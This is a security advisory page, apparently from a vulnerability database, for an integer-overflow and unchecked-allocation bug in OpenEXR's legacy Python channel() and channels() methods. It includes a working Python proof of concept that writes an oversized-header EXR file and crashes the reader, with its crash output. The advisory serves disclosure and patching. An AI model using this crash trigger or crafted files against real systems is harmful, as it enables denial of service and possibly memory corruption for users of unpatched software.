Media

OpenEXR has buffer overflow in PyOpenEXR_old's channels() and channel()

  • Publicada: 06.04.2026
  • Actualizado: 11.10.2026 14:18

Summary

A memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects.

Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit).

This bug was found with ZeroPath.

Details

Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit), around here.

  • In channel():

    • Width and height are derived from the header dataWindow using int.

    • typeSize is a size_t. The buffer size is computed as typeSize * width * height with no bounds checks.

    • The result is passed to PyString_FromStringAndSize(NULL, size) which maps to PyBytes_FromStringAndSize. That function expects Py_ssize_t. If the product overflows or exceeds PY_SSIZE_T_MAX, allocation fails or the value wraps.

    • The return value is not checked. The code immediately calls PyString_AsString(r) and proceeds to build a FrameBuffer and calls readPixels(miny, maxy).

    • On 64 bit: PyBytes_FromStringAndSize returns NULL, the wrapper dereferences NULL and crashes.
      On 32 bit: the multiplication can wrap to a small positive size, producing a too-small allocation, after which readPixels writes typeSize * width bytes per scanline for height lines into that buffer, causing a heap overflow.

  • In channels() the same pattern appears for each requested channel. It also ignores per-channel subsampling when computing the allocation and when inserting the Slice it hardcodes xSampling=1, ySampling=1. If a file actually has subsampled channels this makes the stride and allocation inconsistent, which can also lead to over or under writes.

PoC

python
# write_big_header_then_crash.py
import OpenEXR, Imath

# OpenEXR sanity clamp for header coords is about INT_MAX/2 - 1
INT_MAX = (1 << 31) - 1
MAX_COORD = (INT_MAX // 2) - 1  # 1073741822

# Choose a scanline width that keeps row-bytes < 2^31
# 400,000,000 * 4 bytes = ~1.6 GB per scanline, which many codecs accept
WIDTH = min(400_000_000, MAX_COORD + 1)   # pixels
HEIGHT = 64                                # small height keeps the file tiny

# Build windows from pixel counts
dw = Imath.Box2i(Imath.V2i(0, 0), Imath.V2i(WIDTH - 1, HEIGHT - 1))

# Robustly set NO_COMPRESSION across enum naming differences
def no_compression():
    # Try common names, else fallback to numeric 0
    C = Imath.Compression
    for name in ("NO_COMPRESSION", "NONE", "NO_COMPRESSION_ENUM"):
        if hasattr(C, name):
            return Imath.Compression(getattr(C, name))
    return Imath.Compression(0)

hdr = {
    "dataWindow": dw,
    "displayWindow": dw,
    "channels": {"R": Imath.Channel(Imath.PixelType(Imath.PixelType.FLOAT))},
    "compression": no_compression(),
    "lineOrder": Imath.LineOrder(Imath.LineOrder.INCREASING_Y),
}

# Write just the header (no pixels)
out = OpenEXR.OutputFile("big_header.exr", hdr)
out.close()

# Now trigger the legacy bug: huge allocation request returns NULL, code fails to check
f = OpenEXR.InputFile("big_header.exr")
print("Triggering crash...")
f.channels(["R"])
bash
$ python3 poc.py 
Triggering crash...
libc++abi: terminating due to uncaught exception of type Iex_3_4::InputExc: Unable to query scanline information
Abort trap: 6              python3 poc.py

Impact

Typical memory stuff.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) openexr >= 3.2.0, < 3.2.5, >= 3.3.0, < 3.3.6, >= 3.4.0, < 3.4.3 3.2.5, 3.3.6, 3.4.3

Referencias

Puntuación CVSS 7.8/10
Vector CVSS
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Debilidad (CWE)
CWE-120
Plataforma
Python (PyPI)
Paquete
openexr
Publicada
06.04.2026
Actualizado
11.10.2026 14:18

Fuentes y licencias

OSV / GitHub Advisory Database - PYSEC-2026-2851 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-vh63-9mqx-wmjr - CC BY 4.0

Historial de vulnerabilidades: openexr

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (15) en el archivo
Entradas en total
15
Primera → última
05.2022 04.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Alta 7
  • Media 7
  • Baja 1

Divulgaciones por año

  1. 2022: 2
  2. 2023: 0
  3. 2024: 0
  4. 2025: 4
  5. 2026: 9
Gravedad:
  1. Alta · 5.0 CVE-2026-34589 >= 3.2.0, < 3.2.7, >= 3.3.0, < 3.3.9, >= 3.4.0, < 3.4.9 3.2.7, 3.3.9, 3.4.9
  2. Alta · 7.8 CVE-2026-34588 >= 3.1.0, < 3.2.7, >= 3.3.0, < 3.3.9, >= 3.4.0, < 3.4.9 3.2.7, 3.3.9, 3.4.9
  3. OpenEXR has buffer overflow in PyOpenEXR_old's channels() and channel() esta entrada
    Media · 7.8 CVE-2025-64182 >= 3.2.0, < 3.2.5, >= 3.3.0, < 3.3.6, >= 3.4.0, < 3.4.3 3.2.5, 3.3.6, 3.4.3
  4. Alta CVE-2026-34543 >= 3.4.0, < 3.4.8, >= 3.3.0, <= 3.3.8, >= 3.2.0, <= 3.2.6 3.4.8
  5. Alta CVE-2026-34544 >= 3.4.0, < 3.4.8, >= 3.3.0, <= 3.3.8, >= 3.2.0, <= 3.2.6 3.4.8
  6. Alta CVE-2026-27622 >= 2.3.0, < 3.2.6, >= 3.3.0, < 3.3.8, >= 3.4.0, < 3.4.6 3.2.6, 3.3.8, 3.4.6
  7. Alta · 8.8 CVE-2017-9111 < 2.2.1 2.2.1

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.